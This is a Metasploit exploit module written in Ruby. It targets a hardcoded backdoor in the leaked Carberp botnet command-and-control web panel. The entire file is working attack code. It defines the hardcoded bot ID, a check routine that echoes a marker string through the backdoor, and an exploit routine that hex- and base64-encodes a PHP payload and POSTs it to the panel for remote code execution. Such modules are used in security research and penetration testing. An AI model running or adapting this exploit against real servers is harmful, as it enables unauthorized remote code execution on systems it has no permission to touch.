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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info={})
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    super(update_info(info,
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      'Name'           => 'Carberp Web Panel C2 Backdoor Remote PHP Code Execution',
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      'Description'    => %q{
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          This module exploits backdoors that can be found all over the leaked
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        source code of the Carberp botnet C2 Web Panel.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         =>
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        [
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          'bwall(Brian Wallace) <bwallace[at]cylance.com>', # msf module
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          'connection(Luis Santana) <hacktalkblog[at]gmail.com>', # exploit reporting
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          'Steven K <xylitol[at]malwareint[d0t]com>' # discovery and reporting
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        ],
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      'References'     =>
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        [
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          ['URL', 'http://www.xylibox.com/2013/06/carberp-remote-code-execution-carpwned.html']
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        ],
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      'Privileged'     => false,
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      'Payload'        =>
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        {
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          'Keys'        => ['php'],
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          'Space'       => 10000,
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          'DisableNops' => true
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        },
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      'Platform'       => ['php'],
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      'Arch'           => ARCH_PHP,
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      'Targets'        =>
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        [
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          ['carberp', {}]
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        ],
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      'DisclosureDate' => '2013-06-28',
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      'DefaultTarget'  => 0))
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    register_options(
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      [
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        OptString.new('TARGETURI',[true, "The path to the backdoor, often just index.php", "/index.php"]),
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        OptString.new('BOTID', [true, 'Hardcoded backdoor bot ID that can run PHP eval', 'BOTNETCHECKUPDATER0-WD8Sju5VR1HU8jlV']),
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      ])
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  end
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  def check
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    confirm_string = rand_text_alpha(8)
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    cmd = "echo '#{confirm_string}';"
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    shell = http_send_command(cmd)
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    check_code = Exploit::CheckCode::Safe
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    if shell and shell.body.include?(confirm_string)
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      check_code = Exploit::CheckCode::Vulnerable
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    end
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    check_code
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  end
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  def http_send_command(cmd)
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    uri = normalize_uri(target_uri.path.to_s)
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    request_parameters = {
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      'method'	=> 'POST',
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      'uri'		=> uri,
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      'vars_post'	=>
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        {
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          'id' => datastore['BOTID'],
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          "data" => Rex::Text.encode_base64(cmd.unpack('H*'))
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        }
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    }
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    res = send_request_cgi(request_parameters)
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    res
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  end
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  def exploit
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    http_send_command(payload.encoded)
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  end
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end
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